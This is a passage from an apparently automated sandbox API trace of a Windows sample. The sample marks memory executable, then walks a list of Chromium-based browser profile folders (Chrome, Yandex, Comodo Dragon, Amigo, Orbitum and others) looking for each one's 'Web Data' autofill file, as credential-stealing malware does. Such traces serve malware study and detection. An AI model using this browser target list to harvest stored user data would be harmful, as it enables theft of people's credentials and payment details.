NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.128] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\WidevineCdm\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\web data")) returned 0xffffffff [0164.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.129] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0164.129] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0164.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf29d0, cbMultiByte=14, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="GoogleChrome64൐ῥ0") returned 14 [0164.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf08dc, cbMultiByte=43, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\ῤゐῡ㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 43 [0164.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.132] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x3d [0164.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historye\\Chrome SxS\\User Data\\ῤゐῡ㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.132] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.132] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome sxs\\user data\\web data")) returned 0xffffffff [0164.133] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.133] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.133] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2b04, cbMultiByte=14, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="InternetMailRutorye\\Chrome SxS\\User Data\\ῤゐῡ㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 14 [0164.133] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf09ac, cbMultiByte=30, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Xpom\\User Data\\xS\\User Data\\ῤゐῡ㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 30 [0164.133] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\") returned 0x30 [0164.133] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\HistoryUser Data\\xS\\User Data\\ῤゐῡ㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.133] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.133] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.133] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Xpom\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\xpom\\user data\\web data")) returned 0xffffffff [0164.133] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.133] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2c3c, cbMultiByte=13, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="YandexBrowserstoryUser Data\\xS\\User Data\\ῤゐῡ㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 13 [0164.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0a74, cbMultiByte=46, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 46 [0164.134] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x40 [0164.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyx\\YandexBrowser\\User Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.134] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.134] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\yandex\\yandexbrowser\\user data\\web data")) returned 0xffffffff [0164.134] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.134] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2d78, cbMultiByte=12, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="ComodoDragonistoryx\\YandexBrowser\\User Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 12 [0164.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0b50, cbMultiByte=39, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 39 [0164.135] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x39 [0164.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyo\\Dragon\\User Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.135] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.135] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\comodo\\dragon\\user data\\web data")) returned 0xffffffff [0164.135] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.135] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2eb8, cbMultiByte=5, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Amigowsers\\Historyo\\Dragon\\User Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 5 [0164.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0c28, cbMultiByte=31, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Amigo\\User Data\\er Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 31 [0164.136] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\") returned 0x31 [0164.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\History\\User Data\\er Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.136] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.136] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Amigo\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\amigo\\user data\\web data")) returned 0xffffffff [0164.136] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.136] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2ecc, cbMultiByte=7, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Orbitumers\\History\\User Data\\er Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 7 [0164.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0cfc, cbMultiByte=33, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Orbitum\\User Data\\ Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 33 [0164.136] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x33 [0164.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyum\\User Data\\ Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.137] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.137] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.137] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Orbitum\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\orbitum\\user data\\web data")) returned 0xffffffff [0164.137] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.137] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.137] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf300c, cbMultiByte=7, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Bromiumers\\Historyum\\User Data\\ Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 7 [0164.137] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0dd8, cbMultiByte=33, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Bromium\\User Data\\ Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 33 [0164.137] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\") returned 0x33 [0164.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyum\\User Data\\ Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.138] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.138] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Bromium\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\bromium\\user data\\web data")) returned 0xffffffff [0164.138] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.138] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3150, cbMultiByte=8, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Chromiumrs\\Historyum\\User Data\\ Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 8 [0164.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0eb8, cbMultiByte=34, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Chromium\\User Data\\Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 34 [0164.138] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\") returned 0x34 [0164.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyium\\User Data\\Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.139] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.139] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chromium\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\chromium\\user data\\web data")) returned 0xffffffff [0164.139] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 